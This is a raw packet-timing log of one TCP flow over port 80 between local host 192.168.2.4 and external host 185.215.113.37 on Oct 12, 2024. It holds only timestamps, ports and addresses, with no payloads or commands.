Oct 12, 2024 13:17:28.446082115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446120024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446126938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446170092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446203947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446221113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446221113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446242094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446254969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446274996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446310997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446325064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446325064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446342945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446374893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446405888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446423054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446423054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446438074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446470976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446482897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446482897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446505070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446538925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446548939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446548939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446572065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446616888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446616888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446641922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446677923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446710110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446723938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446723938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446743965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446777105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446790934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446790934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446810961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446844101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446856976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446856976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446877003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446898937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446912050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446945906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.446958065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446958065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.446981907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.447015047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.447027922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.447027922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.447097063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.447119951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.447129965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.447194099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.447212934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.447212934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.447408915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496454000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496503115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496531010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496539116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496548891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496592999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496611118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496665955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496699095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496714115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496714115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496731997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496764898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496779919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496779919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496798992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496814013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496834040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496856928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496886969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496912956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496918917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496953011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.496967077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.496967077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497014999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497061968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497061968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497071981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497104883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497117996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497138977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497174025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497188091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497188091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497210026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497243881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497258902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497258902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497277021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497323036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497323036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497332096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497384071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497416973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497431040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497431040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497450113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497482061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497494936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497494936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497536898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497540951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497589111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497594118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497642040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497662067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497694016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497694016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497731924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497762918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497765064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497797966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497809887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497809887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497831106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497869968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497876883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497876883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497901917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497936010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497948885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497948885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.497967958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.497989893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498002052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498034954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498047113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498047113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498068094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498100996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498115063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498115063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498136044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498224020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498241901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498241901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498259068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498291969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498306990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498306990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498325109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498358011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498369932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498369932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498394012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498428106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498440981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498440981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498461962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498492956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498509884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498509884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498526096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498558998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498573065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498573065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498593092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498626947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498639107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498639107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498661995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498696089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498708963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498708963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498729944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498739004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498763084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498796940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498810053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498810053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498827934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498861074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498873949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498873949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498893976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498925924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498935938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498935938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.498963118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.498996973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499010086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499010086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499028921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499063969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499072075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499072075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499098063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499131918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499144077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499144077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499166012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499200106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499213934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499213934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499233961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.499273062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.499273062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.525871992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.525921106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.525957108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.525965929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.525965929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.525991917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.526026011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.526057959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.526070118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.526070118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.526092052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.526127100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.526138067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.526138067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.526235104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540416956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540462971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540505886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540529013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540560961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540595055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540627003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540627003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540627003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540644884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540667057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540672064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540702105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540735960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540750027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540750027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540787935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540821075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540831089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540831089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540853977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540887117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540894985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540894985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540920973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540955067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.540962934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540962934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.540992975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541027069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541033030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541033030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541059017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541093111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541096926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541096926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541127920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541162968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541167974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541167974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541196108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541229010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541243076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541243076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541264057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541297913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541304111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541304111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541331053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541357040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541364908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541385889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541398048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541419029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541431904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541465044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541471958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541471958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541501045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541522026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541536093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541563034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541570902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541590929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541606903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541640997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.541650057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.541650057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.545793056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.590724945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.590775013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.590811014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.590840101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.590840101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.590871096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.590873957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.590926886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.590940952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.590972900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.590981007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591032028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591070890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591074944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591074944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591121912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591142893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591175079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591207027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591207981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591221094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591254950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591262102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591315031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591320992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591366053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591408968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591408968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591423988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591475010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591501951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591509104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591535091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591557980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591589928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591605902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591605902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591623068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591665983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591665983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:28.591685057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:28.591718912 CEST	80	49730	185.215.113.37	192.168.2.4
